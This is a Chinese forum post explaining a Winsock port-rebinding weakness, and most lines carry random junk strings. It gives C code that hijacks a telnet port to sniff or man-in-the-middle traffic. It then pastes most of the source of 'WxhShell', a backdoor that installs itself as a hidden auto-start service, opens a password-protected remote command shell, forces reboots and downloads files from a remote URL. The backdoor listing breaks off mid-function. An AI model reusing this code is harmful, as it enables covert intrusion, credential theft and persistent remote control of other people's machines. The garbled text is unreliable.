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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <p2\;\?4z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s vS)7]{cU  
A* Pz-z>z  
  saddr.sin_family = AF_INET; D*sL&Rt][Y  
EV-# E  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Bqb`WX[<`  
Z J1@z.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ZW@cw}  
Ol|fdQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0I2?fz)  
4p6T0II_$  
  这意味着什么?意味着可以进行如下的攻击: M &H,`gm  
[ <k&]Kv  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 BJ fBY H,M  
5D XBTpCVM  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @3FQMs4  
LW">9 ;n  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?wn <F}UH  
OqmW lN.?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,6"[vb#*3  
aOsc_5XDR;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %e|UA-(  
{]N7kY.W  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 N$.ls48a4-  
((^v sKT  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `A o"fRv#  
-SzCeq(p%5  
  #include L6ypn)l  
  #include cFuQ>xR1  
  #include zN-Y=-c  
  #include    mS0;2x U  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;<xPzf  
  int main() cHVu6I?h  
  { 7_lgo6  
  WORD wVersionRequested; ~~I]SI k{  
  DWORD ret; AgUjC  
  WSADATA wsaData; ) M(//jX  
  BOOL val; b !nA.`T  
  SOCKADDR_IN saddr; ~*Y/#kPY  
  SOCKADDR_IN scaddr; niYD[Ra\xP  
  int err; $v"CQD  
  SOCKET s; Y|W#VyM-  
  SOCKET sc; Ln/*lLIOb  
  int caddsize; /sPa$D  
  HANDLE mt; `FX?P`\@I  
  DWORD tid;   PQz[IZ  
  wVersionRequested = MAKEWORD( 2, 2 ); O<dCvH  
  err = WSAStartup( wVersionRequested, &wsaData ); %>y!N!.F  
  if ( err != 0 ) { VMNdC}  
  printf("error!WSAStartup failed!\n"); Y$+v "  
  return -1; 2^U?Ztth6  
  } Xd1+?2  
  saddr.sin_family = AF_INET; l-Dgm  
   ??++0<75  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Gvr>n@n  
<7/7+_y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .t{uzDM  
  saddr.sin_port = htons(23); qP=a:R-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t$R0UprK  
  { GSH,;cY  
  printf("error!socket failed!\n"); vB5mOXGNq  
  return -1; [?g}<fa  
  } pK/RkA1  
  val = TRUE; #sbW^Q'I  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %L-{4Z!"sI  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) w[EEA_\  
  { Z0wH%o\  
  printf("error!setsockopt failed!\n"); T/J1 b-  
  return -1; oDG BC  
  }  Lu[Hz8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v^[!NygShs  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 l SuNZY aO  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 DLe>EU;vS  
th0>u.hJ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >km$zfM2-  
  { pNu?DF{ 3  
  ret=GetLastError(); m+ #G*  
  printf("error!bind failed!\n"); aFh'KPhe  
  return -1; %0f*OC  
  } [RTo[-ci2  
  listen(s,2); 6r[pOl:  
  while(1) e%0IE X  
  { cwQ *P$n  
  caddsize = sizeof(scaddr); x@> ~&eP  
  //接受连接请求 \Z~ <jv  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); l9H-N*Wx  
  if(sc!=INVALID_SOCKET) X6?Gxf,  
  { hIa,PZ/Q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); H3Zt 3l1u+  
  if(mt==NULL) avXBCvP+h  
  { I6S>*V  
  printf("Thread Creat Failed!\n"); VHL[Y  
  break; ";n%^I}  
  } l[nf"'  
  } 5\ }QOL  
  CloseHandle(mt); 7CX5pRNL  
  } a@?ebCE  
  closesocket(s); |UcF%VNnz1  
  WSACleanup(); 7a.iT-*  
  return 0; Vu<mOuh  
  }   nGTqW/k[+s  
  DWORD WINAPI ClientThread(LPVOID lpParam) Lr`Gyl62  
  { \z.p [;'ir  
  SOCKET ss = (SOCKET)lpParam; LXR>M>a`  
  SOCKET sc; bF +d_t  
  unsigned char buf[4096]; PK_2  
  SOCKADDR_IN saddr; Y)M-?|4  
  long num; Ow-;WO_HQ  
  DWORD val; 4!?4Tc!X  
  DWORD ret; a4q02 cV  
  //如果是隐藏端口应用的话,可以在此处加一些判断 eYv+tjIF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =v{ R(IX%  
  saddr.sin_family = AF_INET; -^rdB6O6j  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); A=*6|1w;  
  saddr.sin_port = htons(23); $! g~pV  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nyG5sWMpe  
  { KF`mOSP  
  printf("error!socket failed!\n"); hm1.UE  
  return -1; Imo?)dYK  
  } :a( Oc'T  
  val = 100; pT;xoe   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =]<X6!0mR  
  { u:^9ZQ+  
  ret = GetLastError(); W:2]d  
  return -1; ,^@/I:  
  } XKT[8o<L  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,JJ1sf2A  
  { 3b<;y%  
  ret = GetLastError(); 9a'}j#mJo  
  return -1; $^#q0Yx  
  } ,awkL :  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) L1q]  
  { eHyIFoaC/  
  printf("error!socket connect failed!\n"); "m}N hoD4  
  closesocket(sc); m`@~ZIa?>B  
  closesocket(ss); 2W63/kRbU  
  return -1; Ye[Fu/0  
  } sWP_fb1  
  while(1) #}UI  
  { R ggZ'.\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~jC$C2A0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &Hl w2^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ZP.~Y;Ch;-  
  num = recv(ss,buf,4096,0); mDA1$fj"  
  if(num>0) }O6E5YCm  
  send(sc,buf,num,0); 9;A9Q9Yr  
  else if(num==0) 9}d^ll&  
  break; TZObjSm_v  
  num = recv(sc,buf,4096,0); S Fqq(K2u  
  if(num>0) 9['>$ON  
  send(ss,buf,num,0); 70nBC  
  else if(num==0) 2j[; M-3  
  break; Lcs?2c:%  
  } cvV8 ;  
  closesocket(ss); g}I{-  
  closesocket(sc); m khp@^5  
  return 0 ; Z$K[e  
  } $rQi$w/  
B)qcu'>iy  
Ga;Lm?6-  
========================================================== $ Vsf? ID  
qwd T= H  
下边附上一个代码,,WXhSHELL v=YI%{tx)  
Gn% k#  
========================================================== z+Ej`$E{lD  
{=P}c:i W  
#include "stdafx.h" VS5D)5w#  
U H6 Jvt  
#include <stdio.h> NF_[q(k'  
#include <string.h> 2K{)8 ;^  
#include <windows.h> !LpFK0rw  
#include <winsock2.h> , .uI>  
#include <winsvc.h> Mbtk:GuY  
#include <urlmon.h> m =MM  
-QQU>_  
#pragma comment (lib, "Ws2_32.lib") }\EHZ  
#pragma comment (lib, "urlmon.lib") %){)/~e&  
Gg5>~"pb  
#define MAX_USER   100 // 最大客户端连接数 .[vYT.LE  
#define BUF_SOCK   200 // sock buffer EB5 ^eNdL  
#define KEY_BUFF   255 // 输入 buffer x<) T,c5Y  
oX6()FR  
#define REBOOT     0   // 重启 i0[mU,  
#define SHUTDOWN   1   // 关机 ezr'"1Ba}  
(w/lZt  
#define DEF_PORT   5000 // 监听端口 >uYGY{+j[  
F2$?[1^f  
#define REG_LEN     16   // 注册表键长度 y~rtYI  
#define SVC_LEN     80   // NT服务名长度 G2FD'Sf  
2L7ogyrU/A  
// 从dll定义API -q DL':  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U~<~>^[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^W[3Ri G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Fr,b5 M<L7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >jm^MS=  
x)e(g}n  
// wxhshell配置信息 qD5)AdCGO  
struct WSCFG { F6 f  
  int ws_port;         // 监听端口 ,<=_t{^  
  char ws_passstr[REG_LEN]; // 口令 OH vV_  
  int ws_autoins;       // 安装标记, 1=yes 0=no `xFgYyiQd  
  char ws_regname[REG_LEN]; // 注册表键名 ljk,R G  
  char ws_svcname[REG_LEN]; // 服务名 >F;yfv;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PKt;]T0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @}A3ie'w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lFc^y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8Y~\:3&1<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~G8haN4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *En4~;l  
-K iI&Q  
}; O[HBw~  
F3<Ip~K  
// default Wxhshell configuration lBO x B/`  
struct WSCFG wscfg={DEF_PORT, e u?DSad  
    "xuhuanlingzhe", s"0Hz"[^=  
    1, Zex`n:Wl?j  
    "Wxhshell", Uy{ZK*c8i  
    "Wxhshell", jGOE CKP  
            "WxhShell Service", 0|`iop%(n  
    "Wrsky Windows CmdShell Service", +(##B pC  
    "Please Input Your Password: ", wRQMuFGY  
  1, Z(o]8*;A i  
  "http://www.wrsky.com/wxhshell.exe", DM*u;t{i  
  "Wxhshell.exe" a |0f B4G  
    }; |=sjG f  
b@)nB  
// 消息定义模块 p/Lk'h~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y q-7!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )F%zT[Auph  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :X#'E Lo|  
char *msg_ws_ext="\n\rExit."; vN`JP`IBx  
char *msg_ws_end="\n\rQuit."; ddvtBAX  
char *msg_ws_boot="\n\rReboot..."; rJc=&'{&)N  
char *msg_ws_poff="\n\rShutdown..."; *&rV}vVP^  
char *msg_ws_down="\n\rSave to "; @i@f@.t  
87:V-*8  
char *msg_ws_err="\n\rErr!"; 3>buZ6vh  
char *msg_ws_ok="\n\rOK!"; Ct9*T`Gl  
j79$/ Ol  
char ExeFile[MAX_PATH]; oJVpJA0IA  
int nUser = 0; t3;QF  
HANDLE handles[MAX_USER]; Hp-vBoEk  
int OsIsNt; ' 8UhYwyr  
to;cF6X  
SERVICE_STATUS       serviceStatus; $3{I'r]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,IQ%7*f;O_  
txe mu *  
// 函数声明 %51HJB}C]  
int Install(void); AR5)Uw s  
int Uninstall(void); <~35tOpv  
int DownloadFile(char *sURL, SOCKET wsh); )r:gDd#/X  
int Boot(int flag); t$b{zv9C  
void HideProc(void); OT}^dPQe  
int GetOsVer(void); 0`"DYJ}d  
int Wxhshell(SOCKET wsl); RV, cQ K  
void TalkWithClient(void *cs); OJPi*i5*  
int CmdShell(SOCKET sock); c:_dW;MJ0  
int StartFromService(void); qiyJ4^1  
int StartWxhshell(LPSTR lpCmdLine); Pxe7 \e  
rZG6}<Hx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yI_MY L[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); XQ$9E?|=  
?E.MP7Y# V  
// 数据结构和表定义 t[b@P<F  
SERVICE_TABLE_ENTRY DispatchTable[] = {DbWk>[DkG  
{ lhduK4u  
{wscfg.ws_svcname, NTServiceMain}, qre(3,VE5  
{NULL, NULL} IyGW>g6_.  
}; khfWU  
6eAJ >9@x  
// 自我安装 =FXq=x%9+  
int Install(void) @!2vS@f  
{ yo"!C?82=  
  char svExeFile[MAX_PATH]; XF Wo"%}w  
  HKEY key; F]`_akE  
  strcpy(svExeFile,ExeFile); Gque@u  
:A]CD (  
// 如果是win9x系统,修改注册表设为自启动 @y{ f>nm  
if(!OsIsNt) { wxo{gBq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Cc!LJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %pr}Xs(-f  
  RegCloseKey(key); g2W ZW#a)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7 ?"-NrW~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S]}W+BF3  
  RegCloseKey(key); 2U`g[1  
  return 0; H0Ck%5  
    } ^ lM.lS>)  
  } wb/@g=` d  
} BZAF;j  
else { m15> ^i^W  
wGAeOD  
// 如果是NT以上系统,安装为系统服务 +pJ~<ug]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q OX=M  
if (schSCManager!=0) qq[Enf|/y  
{ Ai.^~#%X  
  SC_HANDLE schService = CreateService Bz*6M  
  ( TWT h!  
  schSCManager, P_%kYcX'  
  wscfg.ws_svcname, yu @u0vlc  
  wscfg.ws_svcdisp, 5{O9<~,  
  SERVICE_ALL_ACCESS, ~mYCXfoc{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {.D/MdwW;  
  SERVICE_AUTO_START, f&L8<AS Fo  
  SERVICE_ERROR_NORMAL, "c0Nv8_G  
  svExeFile, +}.S:w_xQ  
  NULL, [p&2k&.XYe  
  NULL, H5?H{  
  NULL, \:`-"Ou(*  
  NULL, x]<0Kq9K  
  NULL L<H6AzR+  
  ); z)XI A)i6  
  if (schService!=0) I<LIw8LI  
  { $%0A#&DVh  
  CloseServiceHandle(schService); )5U2-g#U  
  CloseServiceHandle(schSCManager); DYaOlT(rE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o&U/e\zy  
  strcat(svExeFile,wscfg.ws_svcname); $JZ}=\n7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G.sf>.[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RL~]mI!U  
  RegCloseKey(key); -q}I; cH  
  return 0; :dj=kuUTbu  
    } gtw?u b  
  } e? n8S  
  CloseServiceHandle(schSCManager); &<oDl _^  
} t[Ywp!y[  
} a&s&6Q|Y  
xm bFJUMH  
return 1; Xe>   
} H|/U0;s  
_/)HAw?k  
// 自我卸载 fD ?w!7f-1  
int Uninstall(void) Jw)-6WJ!uO  
{ rwvCp_pN.  
  HKEY key; >'|Wrz67Z  
v.Zr,Z=eV  
if(!OsIsNt) { [-'LJG Wb<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^9A,j} >o-  
  RegDeleteValue(key,wscfg.ws_regname); |^$?9Dn9.L  
  RegCloseKey(key); j<C p&}X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Sx}61?  
  RegDeleteValue(key,wscfg.ws_regname); k#pNk7;MZ  
  RegCloseKey(key); *-.,QpgTX  
  return 0; <J .-fZS%  
  } E.+BqWZ!  
} >*S ;z+!&  
} !=rJ~s F/{  
else { <) ltvo(  
{BS`v5*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &VfMv'%x  
if (schSCManager!=0) >XK |jPK  
{ b 3i34,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #>\%7b59>  
  if (schService!=0) T@\%h8@~]  
  { /E<:=DD<  
  if(DeleteService(schService)!=0) { `CF.-Vl3J#  
  CloseServiceHandle(schService); UJhUb)}^  
  CloseServiceHandle(schSCManager); 'NDDj0Y  
  return 0; 31=v US  
  } .[8g6:>  
  CloseServiceHandle(schService); u$V8fus0  
  } m vLqccL  
  CloseServiceHandle(schSCManager); fMZzR|_18  
} Q _ M:v  
} fs6 % M]u  
kl i)6R<  
return 1; T@x_}a:g  
} wzz> N@|  
KB6`OT^b{r  
// 从指定url下载文件 ooIA#u  
int DownloadFile(char *sURL, SOCKET wsh) 4oA9|}<FR  
{ tB==v{t  
  HRESULT hr; `g!NFp9q  
char seps[]= "/"; Tmr %r'i3  
char *token; Cso-WG,  
char *file; Yi+$g  
char myURL[MAX_PATH]; z`KP }-  
char myFILE[MAX_PATH]; 8bI;xjK^Q  
pA?2UZ  
strcpy(myURL,sURL); +je{%,*  
  token=strtok(myURL,seps); @]xH t&j  
  while(token!=NULL) drK &  
  { @'fWS^ ;&  
    file=token; MZK%IC>  
  token=strtok(NULL,seps); ZAa:f:[#f  
  } KW-g $Ma  
wwVg'V;  
GetCurrentDirectory(MAX_PATH,myFILE); >[a&,gS  
strcat(myFILE, "\\"); ^U[yk'!Y  
strcat(myFILE, file); ~fR-cXj"  
  send(wsh,myFILE,strlen(myFILE),0); UhVJ !NrT  
send(wsh,"...",3,0); D|Raj\R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QDpzIjJj  
  if(hr==S_OK) q"|#KT^)  
return 0; p{S#>JTr  
else bo04y)Iz  
return 1; XYdr~/[HPy  
9 Z79  
} do&0m[x%  
)R@M~d-o  
// 系统电源模块 *Ph@XkhU  
int Boot(int flag) UcxMA%Pw7$  
{ >nOzz0,  
  HANDLE hToken;  O)?  
  TOKEN_PRIVILEGES tkp; hR(p{$-T  
unN=yeut  
  if(OsIsNt) { .Mu]uQUF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F=l.2t*9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Xl\yOMfp  
    tkp.PrivilegeCount = 1; 6 ~d\+aV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H!vX#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0V5{:mzA  
if(flag==REBOOT) { S1D;Xv@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'e5,%"5(c  
  return 0; Z|IFT1K  
} o]O  
else { sm96Ye{O{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1G62Qu$O  
  return 0; 4oywP^I  
} t o2y#4'.  
  } q;#:nf"  
  else { %;qDhAu0  
if(flag==REBOOT) { f$p7L.d<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T$r?LIa ,Q  
  return 0; )!jX$bK  
} &p6^    
else { +U= !svE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RuuXDuu:VL  
  return 0; Zg~6  
} #;~dA  
} &RbT&  
|?Bb{Es  
return 1; aT`. e  
} 2#g4R  
8jz[;.jP",  
// win9x进程隐藏模块 F}dq~QCzw  
void HideProc(void) $mZpX:7/u8  
{ CY i{WV(:  
bf&k:.v'8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c`x[C  
  if ( hKernel != NULL ) /!HFi>   
  { w\2yippI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qk=0ovUzg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h(H b+7g  
    FreeLibrary(hKernel); 2<GN+W v[#  
  } oq3{q  
4[^lE?+  
return; >W7IWhm3  
} Wk*t-  
_E<  
// 获取操作系统版本 xzjG|"a[GB  
int GetOsVer(void) 5'hQ6i8  
{ wc7F45l4  
  OSVERSIONINFO winfo; *zn=l+c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^tY$pPA  
  GetVersionEx(&winfo); 96.Vm*/7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5*31nMP\  
  return 1; cAAyyc"yJ  
  else <"rckPv_H  
  return 0; &6}] v:  
} z~+gche>  
Qpaan  
// 客户端句柄模块 Y\1XKAfB  
int Wxhshell(SOCKET wsl) ` "JslpN  
{ V- HO_GDo  
  SOCKET wsh; @mu2,%  
  struct sockaddr_in client; 1[Ffl^\ARp  
  DWORD myID; JD1D(  
XOi[[G}  
  while(nUser<MAX_USER) m"RE[dQ  
{ >i IUS  
  int nSize=sizeof(client); ":upo/xN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?g~g GQV  
  if(wsh==INVALID_SOCKET) return 1; &}/h[v_#'  
oy!Dm4F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); NDaM;`  
if(handles[nUser]==0) 1=X"|`<!  
  closesocket(wsh); B{+ Ra  
else 70&]nb6f  
  nUser++; ]\_T  
  } h]z>H~.<*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Jxy94y*  
b 7%O[  
  return 0; l-mf~{   
} <DjFMTCN  
 ZD'fEqM  
// 关闭 socket V*U*_Y  
void CloseIt(SOCKET wsh) ; 3WA-nn  
{ &^W91C?<6  
closesocket(wsh); \dIQhF%%2  
nUser--; r$Z_Kwe.|&  
ExitThread(0); _^)<d$R<  
} H!NyM}jsr  
E-_Q3^  
// 客户端请求句柄 /kY|PY  
void TalkWithClient(void *cs) '9#O#I &J  
{ 3_]<H<w  
k)a-odNrb  
  SOCKET wsh=(SOCKET)cs; Ydr/ T/1  
  char pwd[SVC_LEN]; @Ja8~5:  
  char cmd[KEY_BUFF]; 01nbR+e  
char chr[1]; 0H-~-z8Y  
int i,j; {LLy4m  
KiJRq>  
  while (nUser < MAX_USER) { M9/c8zZ  
8C{mV^cn~  
if(wscfg.ws_passstr) { =+qtk(p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V~uH)IMkh7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fb8t9sAI  
  //ZeroMemory(pwd,KEY_BUFF); ]OZk+DU:  
      i=0; %;E/{gO  
  while(i<SVC_LEN) { TFWx(}1  
p(F}[bP  
  // 设置超时 lo*)% fy  
  fd_set FdRead; 1px8af]  
  struct timeval TimeOut; s=+,F<;x.U  
  FD_ZERO(&FdRead); %`P6a38j  
  FD_SET(wsh,&FdRead); hK,e<?N^  
  TimeOut.tv_sec=8; xnW3,:0  
  TimeOut.tv_usec=0; \p-3P)U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |@x^5Ab$T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X&[S.$_U  
$`Z-,AJc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hwaU;>F  
  pwd=chr[0]; wW~y?A"{2  
  if(chr[0]==0xd || chr[0]==0xa) { pb(YA/  
  pwd=0; 3U<\s=1?X  
  break; &;%z1b> F  
  } o 26R]  
  i++; 0Jh^((i*  
    } 1 XAXokxj  
(hB&OP5Fne  
  // 如果是非法用户,关闭 socket TU-4+o%;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +ou ]|  
} xm }9(EJ  
b3G4cO;t;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iINd*eXb^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lbka*@  
I6x  
while(1) { HWJ(O/N  
3iHUG^sLW  
  ZeroMemory(cmd,KEY_BUFF); hlpi-oW`  
iyF~:[8  
      // 自动支持客户端 telnet标准   :esHtkyML  
  j=0; SO #NWa<0|  
  while(j<KEY_BUFF) { i+$G=Z#3E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BitP?6KX  
  cmd[j]=chr[0]; B&~#.<23:  
  if(chr[0]==0xa || chr[0]==0xd) {  R\%&Q|  
  cmd[j]=0; 2nW:|*:/p6  
  break; v2e*mNK5  
  } =l_B58wrx  
  j++; )uvs%hK  
    } [*<F   
_;G. QwHr  
  // 下载文件 ,9I %t%sb  
  if(strstr(cmd,"http://")) { #,0PLU3%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YRXXutm  
  if(DownloadFile(cmd,wsh)) +*2]R~"M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $niJw@zC  
  else 42a.@JbLQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wj"\nT4  
  } M]O _L  
  else { "K3"s Ec%  
nyyKA_#:5  
    switch(cmd[0]) { "+oP((9  
  L*xu<(>K  
  // 帮助 b'9\j.By  
  case '?': { <9JI@\>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (!72Eaw:]  
    break; .E'Tfa  
  } CdCo+U5z{  
  // 安装 uD=i-IHT  
  case 'i': { :Ve>tZeW  
    if(Install()) :.863_/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  L|hdV\  
    else H ?Vo#/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F-L!o8o  
    break; I}djDtJ  
    } e6E{l  
  // 卸载 +gZg7]!Z  
  case 'r': { {tUjUwhz(  
    if(Uninstall()) 8$k`bZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _l`d+ \#  
    else = GN1l[X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;D}8acQ  
    break; {MP8B'r-6  
    } lSGtbSyDI  
  // 显示 wxhshell 所在路径 toD v~v  
  case 'p': { 3uSj5+@q6  
    char svExeFile[MAX_PATH]; E8_j?X1  
    strcpy(svExeFile,"\n\r"); kD&% 7Vz  
      strcat(svExeFile,ExeFile); ^P4q6BW  
        send(wsh,svExeFile,strlen(svExeFile),0); ,/?7sHK-0  
    break; !S0$W?*  
    } K4 \{G  
  // 重启 rI/;L<c  
  case 'b': { tPv3nh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |mx)W}  
    if(Boot(REBOOT)) >?-etl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x$:>W3?T=^  
    else { <gvuCydsh  
    closesocket(wsh); `w&Y[8+E  
    ExitThread(0); uw!w}1Y]}2  
    } J7Z`wjX1  
    break; L5(7;  
    } cK( )_RB#  
  // 关机 sGg=4(D  
